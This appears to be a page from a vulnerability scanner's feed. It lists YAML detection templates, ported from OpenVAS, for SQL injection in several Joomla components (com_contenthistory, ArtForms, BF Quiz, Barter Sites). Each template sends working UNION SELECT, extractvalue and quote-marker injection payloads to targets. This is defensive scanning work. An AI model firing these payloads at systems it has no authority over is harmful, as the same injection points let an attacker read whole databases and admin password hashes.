description: "Requests com_contenthistory with list[select]=1 and reports when the response contains the SQL error built from the injected value (Unknown column in the order clause), showing the parameter reaches the query unsanitised."
cves: [CVE-2015-7297, CVE-2015-7857, CVE-2015-7858, CVE-2015-7859, CVE-2015-7899]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.3
tags: [openvas-migrated, http, joomla-contenthistory]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7297"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7857"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7858"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7859"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7899"
  - "OpenVAS NASL 2015/joomla/gb_joomla_sqli_cve_2015_7297.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2015/joomla/gb_joomla_sqli_cve_2015_7297.nasl (GPL-2.0-only).
steps:
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php?option=com_contenthistory&view=history&list[select]=1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "(?s)Unknown column.*Array.*order clause.*SQL=SELECT 1"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "Joomla! com_contenthistory list[select] reached the SQL query (Unknown column ... order clause, SQL=SELECT 1): {{resp.banner}}"
      stop: true

Joomla! ArtForms viewform / id SQL Injection

CVECVE-2010-2847
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2010-2847.yaml

Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier) for the unauthenticated SQL injection in the viewform parameter of the ferforms and tferforms tasks and the id parameter of the vferforms task of index.php?option=com_artforms, which reach the form query unquoted. In the web root and under /joomla, the feed sends each parameter a UNION SELECT of six columns, each the concatenation of a marker and the product of two random numbers, and looks for the product computed by the database in the printed form title. When it is not there, it sends an error-based payload (extractvalue of the same kind of product) and looks for the product in a printed database error (MySQL 5.1.5 or later only; on older servers only the UNION proof can fire). Either proof shows the database ran the injected SQL; no table is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}={{sc.union}}
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}={{sc.error}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^union$ → finding QoD 97: Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)
  7. Checks hit for ^error$ → finding QoD 97: Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-2847.yaml
# Joomla! ArtForms (com_artforms) viewform / id SQL injection — CVE-2010-2847
#
# ArtForms 2.1b7.2 RC2 and earlier (InterJoomla form builder, no fixed
# release) puts the viewform parameter of the ferforms and tferforms tasks and
# the id parameter of the vferforms task unquoted into the SELECT that loads
# the form (advisory: exploit-db 14263, "viewform=1 UNION SELECT 1,2,3,4,5,6#"),
# with no login.
#
# Detection (benign, read-only — no table is read): for each of the three
# vectors, GET
#   <joomla dir>/index.php?option=com_artforms&task=<task>&<param>=-1 UNION SELECT M,M,M,M,M,M-- -
# with M = CONCAT(0x4e4f43544953,<a>*<b>,0x454e44) for two random 6-digit
# numbers: the page prints the form title, so the product computed by the
# database ("NOCTIS<a*b>END") in the reply proves the injection (QoD 97).
# When it does not come back (other column count, title not printed), the
# error-based form "-1 AND extractvalue(1,concat(0x7e,<a>*<b>))" is sent: a
# site that prints database errors (Joomla debug mode) answers
# "XPATH syntax error: '~<a*b>'" (QoD 97). The value of a constant
# multiplication cannot come from the request itself, so a page that echoes
# the query is not reported.
#
# Improvements over the source NASL:
#   - The NASL does not test the SQL injection at all: it reports it only
#     through a version check of the ArtForms page (every version <= 2.1b7.2
#     RC2, i.e. every version, since no fix exists). The feed proves it on the
#     three vectors of the advisory and only reports installs where the
#     database runs the injected SQL.
#   - "-- -" instead of the advisory's "#", and a second, column-count-free
#     error-based payload.
#
# CVSS: CVE-2010-2847 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_joomla_artforms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902219, GPL-2.0-only).
uid: 004fb8bf-53f2-4b92-a7c3-f1ae5e0c770e
name: "Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)"
description: |
  Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier)
  for the unauthenticated SQL injection in the viewform parameter of the
  ferforms and tferforms tasks and the id parameter of the vferforms task of
  index.php?option=com_artforms, which reach the form query unquoted. In the
  web root and under /joomla, the feed sends each parameter a UNION SELECT of
  six columns, each the concatenation of a marker and the product of two
  random numbers, and looks for the product computed by the database in the
  printed form title. When it is not there, it sends an error-based payload
  (extractvalue of the same kind of product) and looks for the product in a
  printed database error (MySQL 5.1.5 or later only; on older servers only
  the UNION proof can fire). Either proof shows the database ran the injected
  SQL; no table is read and nothing is written.
cves: [CVE-2010-2847]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-component, com_artforms, artforms, sqli, sql-injection, mysql, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2847"
  - "https://www.exploit-db.com/exploits/14263"
  # OpenVAS/Greenbone NASL 2010/gb_joomla_artforms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected values and the encoded payloads ─────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         prod: "" + (a * b),
         expr: a + "*" + b,
         union: "-1%20UNION%20SELECT%20" + c + "," + c + "," + c + "," + c + "," + c + "," + c + "--%20-",
         error: "-1%20AND%20extractvalue(1,concat(0x7e," + a + "*" + b + "))" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Loop group: every following step runs once per (folder, vector) ───────
  - id: init-union-r
    action: set_var
    var_name: union_r
    var_value: {status: 0, body: ""}
    loop:
      var: v
      over:
        - {dir: "", task: "ferforms", param: "viewform"}
        - {dir: "", task: "tferforms", param: "viewform"}
        - {dir: "", task: "vferforms", param: "id"}
        - {dir: "/joomla", task: "ferforms", param: "viewform"}
        - {dir: "/joomla", task: "tferforms", param: "viewform"}
        - {dir: "/joomla", task: "vferforms", param: "id"}

  - id: init-error-r
    action: set_var
    var_name: error_r
    var_value: {status: 0, body: ""}

  - id: union-probe
    action: http_request
    method: GET
    path: "{{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}={{sc.union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: union_r

  - id: union-check
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(union_r.body) == "string" { union_r.body } else { "" };
      if body.contains(sc.want) { "union" } else { "" }
    store_as: hit

  - id: error-probe
    action: http_request
    method: GET
    path: "{{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}={{sc.error}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: error_r

  # The error text may be HTML-escaped ('&#039;' / '&#39;' / '&apos;').
  - id: error-check
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(error_r.body) == "string" { error_r.body } else { "" };
      if egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + sc.prod + "([^0-9]|$)", body) != "" { "error" } else { "" }
    store_as: hit

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-union
    action: match
    source: hit
    pattern: "^union$"
    on_match:
      finding:
        title: "Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)"
        description: "An unauthenticated request to index.php?option=com_artforms with the {{v.param}} parameter of the {{v.task}} task set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: the parameter reaches the SQL query unquoted, so an attacker can read the whole Joomla database, administrator password hashes included."
        remediation: "Remove the ArtForms component (no fixed release exists), or make it cast viewform and id to integers before building its queries."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}=-1 UNION SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),... (6 columns)-- - returned the database-computed value {{sc.want}}"
      stop: true

  - id: report-error
    action: match
    source: hit
    pattern: "^error$"
    on_match:
      finding:
        title: "Joomla! ArtForms viewform / id SQL Injection (CVE-2010-2847)"
        description: "An unauthenticated request to index.php?option=com_artforms with the {{v.param}} parameter of the {{v.task}} task set to an extractvalue() of a multiplication of two random numbers returned a database error carrying the computed product: the parameter reaches the SQL query unquoted, so an attacker can read the whole Joomla database, administrator password hashes included."
        remediation: "Remove the ArtForms component (no fixed release exists), or make it cast viewform and id to integers before building its queries; turn off Joomla debug mode so database errors are not shown."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{v.dir}}/index.php?option=com_artforms&task={{v.task}}&{{v.param}}=-1 AND extractvalue(1,concat(0x7e,{{sc.expr}})) returned \"XPATH syntax error: '~{{sc.prod}}'\""
      stop: true

Joomla! BF Quiz component 'catid' SQL Injection

CVECVE-2010-5032
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2010-5032.yaml

Tests the BF Quiz component for Joomla! (com_bfquiztrial) for the unauthenticated SQL injection through the catid parameter of its category view. In the web root and in /joomla, the feed requests the view with a catid value that makes the database raise an XPath error carrying the product of two random numbers, in both a numeric and a quoted query context. The correct product in the page, whether the error is printed raw or HTML-escaped, confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, provided the same view with a plain numeric catid shows no SQL error. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1%20AND%20extractvalu…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1%27%20AND%20extractv…
  6. Parses / computes the next value with a Rhai script
  7. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Joomla! BF Quiz component 'catid' SQL Injection (CVE-2010-5032)
  8. HTTP(S) request GET {{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1%27{{m.tag}}
  9. HTTP(S) request GET {{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1
  10. Parses / computes the next value with a Rhai script
  11. Checks syn for ^SQL syntax error quoting Noctis[A-Za-z0-9]+$ → finding QoD 75: Joomla! BF Quiz component 'catid' SQL Injection (CVE-2010-5032)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-5032.yaml
# Joomla! BF Quiz component (com_bfquiztrial) 'catid' SQL injection — CVE-2010-5032
#
# BF Quiz (com_bfquiztrial) before 1.3.1 pastes the `catid` request value of its
# category view (index.php?option=com_bfquiztrial&view=bfquiztrial&catid=<n>)
# into a SQL query without escaping, and Joomla prints the failing query's
# database error. The component's code could not be obtained, so whether catid
# lands in a numeric or a quoted context is unknown and both are probed.
#
# Detection (benign, read-only), for the web root and /joomla:
#   1. catid=1 AND extractvalue(1,concat(0x7e,<a>*<b>))            (numeric)
#      catid=1' AND extractvalue(1,concat(0x7e,<a>*<b>)) AND '1'='1  (quoted)
#      The database raises "XPATH syntax error: '~<a×b>'". The product of two
#      random 6-digit operands is not in the request, so a page that only
#      echoes the URL cannot produce it. QoD 97.
#   2. Fallback (MySQL < 5.1 has no EXTRACTVALUE): catid=1'<random marker> must
#      return a MySQL "SQL syntax" error quoting the marker while the control
#      catid=1 answers without any SQL error. QoD 75.
#
# Improvements over the source NASL: it sends the bare catid=1 request and
# reports any page that prints a MySQL syntax error, which cannot tell a
# vulnerable page from one that always shows an error. This feed injects a
# database-computed proof (QoD 97), covers both query contexts, uses a random
# marker with an error-free control, and also tries /joomla.
#
# CVSS: CVE-2010-5032 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_joomla_com_com_bfquiztrial_sql_inj_vuln.nasl
# (GPL-2.0-only).
uid: 97449d20-4ac6-4adf-abbe-e11d0a61e8e2
name: "Joomla! BF Quiz component 'catid' SQL Injection (CVE-2010-5032)"
description: |
  Tests the BF Quiz component for Joomla! (com_bfquiztrial) for the
  unauthenticated SQL injection through the catid parameter of its category
  view. In the web root and in /joomla, the feed requests the view with a catid
  value that makes the database raise an XPath error carrying the product of
  two random numbers, in both a numeric and a quoted query context. The correct
  product in the page, whether the error is printed raw or HTML-escaped,
  confirms that the database ran the injected expression; the product is not
  part of the request, so a page that only echoes the URL is not reported. On
  databases without the EXTRACTVALUE function, the feed instead reports a MySQL
  syntax error that quotes a random marker sent after a single quote, provided
  the same view with a plain numeric catid shows no SQL error. The probes read
  no table row and change nothing.
cves: [CVE-2010-5032]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-bf-quiz, com_bfquiztrial, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-5032"
  # OpenVAS/Greenbone NASL 2011/gb_joomla_com_com_bfquiztrial_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/joomla"]
      var: dir

  - id: init-quo-r
    action: set_var
    var_name: quo_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  # Numeric context: id=1 AND extractvalue(1,concat(0x7e,<a>*<b>))
  - id: inject-numeric
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: num_r

  # Joomla 3 style pages show the error HTML-escaped; accept the quote in any
  # common form, or none.
  - id: verdict-numeric
    action: script
    code: |
      if proof == "" && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  # Quoted context: catid=1' AND extractvalue(...) AND '1'='1
  - id: inject-quoted
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20%271%27=%271"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: quo_r

  - id: verdict-quoted
    action: script
    code: |
      if proof == "" && type_of(quo_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", quo_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Joomla! BF Quiz component 'catid' SQL Injection (CVE-2010-5032)"
        description: "An unauthenticated GET to the BF Quiz category view with SQL appended to the catid parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the Joomla! database user may run can be injected the same way, including reading the administrator accounts and their password hashes."
        remediation: "Update the BF Quiz component to a release that casts or escapes the catid parameter, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial with an injected catid computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallbacks: quote + random marker, with a control that shows no error.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1%27{{m.tag}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == "" && type_of(mark_r.body) == "string" && (egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "")'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && type_of(mark_r.body) == "string" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 {
        if egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" { "SQL syntax error quoting " + m.tag } else { "" }
      } else { "" }
    store_as: syn

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[A-Za-z0-9]+$"
    on_match:
      finding:
        title: "Joomla! BF Quiz component 'catid' SQL Injection (CVE-2010-5032)"
        description: "An unauthenticated GET to the BF Quiz category view with a single quote and a random marker in the catid parameter returned a MySQL syntax error quoting the marker, while the same view with a numeric catid showed no SQL error: the parameter is pasted into the query unescaped. Any query the Joomla! database user may run can be injected the same way."
        remediation: "Update the BF Quiz component to a release that casts or escapes the catid parameter, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{dir}}/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=1'{{m.tag}} returned a MySQL syntax error quoting {{m.tag}}; the same view with catid=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

Joomla! Barter Sites component 'category_id' SQL Injection

CVECVE-2011-4829
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2011-4829.yaml

Tests the Barter Sites component for Joomla! (com_listing) for the unauthenticated SQL injection through the category_id parameter of its browse view (task=browse). In the web root and in /joomla, the feed requests the view with a category_id value that makes the database raise an XPath error carrying the product of two random numbers, in both a numeric and a quoted query context. The correct product in the page, whether the error is printed raw or HTML-escaped, confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, or the PHP foreach() warning the failed query leaves behind on a Joomla! page, provided the same view with a plain numeric category_id shows neither. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php?option=com_listing&task=browse&category_id=1%20AND%20extractvalue(1…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/index.php?option=com_listing&task=browse&category_id=1%27%20AND%20extractvalu…
  6. Parses / computes the next value with a Rhai script
  7. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Joomla! Barter Sites component 'category_id' SQL Injection (CVE-2011-4829)
  8. HTTP(S) request GET {{dir}}/index.php?option=com_listing&task=browse&category_id=1%27{{m.tag}}
  9. HTTP(S) request GET {{dir}}/index.php?option=com_listing&task=browse&category_id=1
  10. Parses / computes the next value with a Rhai script
  11. Parses / computes the next value with a Rhai script
  12. Checks syn for ^SQL syntax error quoting Noctis[A-Za-z0-9]+$ → finding QoD 75: Joomla! Barter Sites component 'category_id' SQL Injection (CVE-2011-4829)
  13. Checks fe for ^foreach warning after quote$ → finding QoD 70: Joomla! Barter Sites component 'category_id' SQL Injection (CVE-2011-4829)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2011-4829.yaml
# Joomla! Barter Sites component (com_listing) 'category_id' SQL injection — CVE-2011-4829
#
# Barter Sites 1.3's browse view (index.php?option=com_listing&task=browse
# &category_id=<n>) pastes the RAW category_id request value into its listing
# query. Joomla 1.5/2.5 prints a failed query (die($db->stderr()):
# "You have an error in your SQL syntax"), and when the database layer stays
# silent the failed result still reaches a foreach() that prints
# "Invalid argument supplied for foreach()". The component's code could not be
# obtained, so whether the value lands in a numeric or a quoted context is
# unknown and both are probed.
#
# Detection (benign, read-only), for the web root and /joomla:
#   1. category_id=1 AND extractvalue(1,concat(0x7e,<a>*<b>))            (numeric)
#      category_id=1' AND extractvalue(1,concat(0x7e,<a>*<b>)) AND '1'='1  (quoted)
#      The database raises "XPATH syntax error: '~<a×b>'". The product of two
#      random 6-digit operands is not in the request, so a page that only
#      echoes the URL cannot produce it. QoD 97.
#   2. Fallback (MySQL < 5.1 has no EXTRACTVALUE): category_id=1'<random marker>
#      must return a MySQL "SQL syntax" error quoting the marker while the
#      control category_id=1 answers without any SQL error. QoD 75.
#   3. Fallback when database errors are hidden: category_id=1'<marker> yields
#      the PHP "Invalid argument supplied for foreach()" warning on a Joomla!
#      page while the control category_id=1 does not. QoD 70.
#
# Improvements over the source NASL: a database-computed proof instead of a
# fixed "foreach()" string match on a bare quote (QoD 97), both query contexts,
# a random marker and an error-free control (the NASL reports any page that
# prints the pattern), and a /joomla install directory.
#
# CVE-2011-4830 (the same component's XSS in authenticated forms) is a separate
# flaw and is not tested here.
# CVSS: CVE-2011-4829 NVD v3.x 7.5.
#
# Ported from OpenVAS/Greenbone NVT
# 2011/gb_joomla_barter_sites_category_id_param_sql_inj_vuln.nasl (GPL-2.0-only).
uid: b924f525-c4e0-404d-89c6-6f28197c43f4
name: "Joomla! Barter Sites component 'category_id' SQL Injection (CVE-2011-4829)"
description: |
  Tests the Barter Sites component for Joomla! (com_listing) for the
  unauthenticated SQL injection through the category_id parameter of its browse view
  (task=browse). In the web root and in /joomla, the feed requests
  the view with a category_id value that makes the database raise an XPath error
  carrying the product of two random numbers, in both a numeric and a quoted
  query context. The correct product in the page, whether the error is printed
  raw or HTML-escaped, confirms that the database ran the injected expression;
  the product is not part of the request, so a page that only echoes the URL
  is not reported. On databases without the EXTRACTVALUE function, the feed
  instead reports a MySQL syntax error that quotes a random marker sent after a
  single quote, or the PHP foreach() warning the failed query leaves behind on
  a Joomla! page, provided the same view with a plain numeric category_id shows neither.
  The probes read no table row and change nothing.
cves: [CVE-2011-4829]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-barter-sites, com_listing, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4829"
  # OpenVAS/Greenbone NASL 2011/gb_joomla_barter_sites_category_id_param_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/joomla"]
      var: dir

  - id: init-quo-r
    action: set_var
    var_name: quo_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  # Numeric context: id=1 AND extractvalue(1,concat(0x7e,<a>*<b>))
  - id: inject-numeric
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_listing&task=browse&category_id=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: num_r

  # Joomla 3 style pages show the error HTML-escaped; accept the quote in any
  # common form, or none.
  - id: verdict-numeric
    action: script
    code: |
      if proof == "" && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  # Quoted context: id=1' AND extractvalue(...) AND '1'='1
  - id: inject-quoted
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_listing&task=browse&category_id=1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20%271%27=%271"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: quo_r

  - id: verdict-quoted
    action: script
    code: |
      if proof == "" && type_of(quo_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", quo_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Joomla! Barter Sites component 'category_id' SQL Injection (CVE-2011-4829)"
        description: "An unauthenticated GET to the Barter Sites browse view with SQL appended to the category_id parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the Joomla! database user may run can be injected the same way, including reading the administrator accounts and their password hashes."
        remediation: "Update the Barter Sites component to a release that casts or escapes the category_id parameter, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/index.php?option=com_listing&task=browse with an injected category_id computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallbacks: quote + random marker, with a control that shows no error.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_listing&task=browse&category_id=1%27{{m.tag}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_listing&task=browse&category_id=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == "" && type_of(mark_r.body) == "string" && (egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" || (stridx(mark_r.body, "Invalid argument supplied for foreach()") >= 0 && egrep("[jJ]oomla", mark_r.body) != ""))'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && type_of(mark_r.body) == "string" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 && stridx(ctl_r.body, "Invalid argument supplied for foreach()") < 0 {
        if egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" { "SQL syntax error quoting " + m.tag } else { "" }
      } else { "" }
    store_as: syn

  - id: verdict-foreach
    action: script
    code: |
      if proof == "" && syn == "" && type_of(mark_r.body) == "string" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 && stridx(ctl_r.body, "Invalid argument supplied for foreach()") < 0 && stridx(mark_r.body, "Invalid argument supplied for foreach()") >= 0 && egrep("[jJ]oomla", mark_r.body) != "" { "foreach warning after quote" } else { "" }
    store_as: fe

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[A-Za-z0-9]+$"
    on_match:
      finding:
        title: "Joomla! Barter Sites component 'category_id' SQL Injection (CVE-2011-4829)"
        description: "An unauthenticated GET to the Barter Sites browse view with a single quote and a random marker in the category_id parameter returned a MySQL syntax error quoting the marker, while the same view with a numeric category_id showed no SQL error: the parameter is pasted into the query unescaped. Any query the Joomla! database user may run can be injected the same way."
        remediation: "Update the Barter Sites component to a release that casts or escapes the category_id parameter, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{dir}}/index.php?option=com_listing&task=browse&category_id=1'{{m.tag}} returned a MySQL syntax error quoting {{m.tag}}; the same view with category_id=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

  - id: report-foreach
    action: match
    source: fe
    pattern: "^foreach warning after quote$"
    on_match:
      finding:
        title: "Joomla! Barter Sites component 'category_id' SQL Injection (CVE-2011-4829)"
        description: "An unauthenticated GET to the Barter Sites browse view with a single quote and a random marker in the category_id parameter made the page print the PHP warning 'Invalid argument supplied for foreach()' (the failed query's result is iterated), while the same view with a numeric category_id did not: the parameter is pasted into the query unescaped. Database errors are hidden on this site, so no query output was proven."
